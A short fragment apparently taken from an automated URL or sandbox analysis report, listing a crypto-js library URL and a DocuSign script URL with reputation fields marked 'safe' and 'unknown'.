                              https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js false
                              • URL Reputation: safe
                              		 unknown
                              https://a.docusign.com/ds_arya_wrapper.min.js?f=1 false
                                		unknown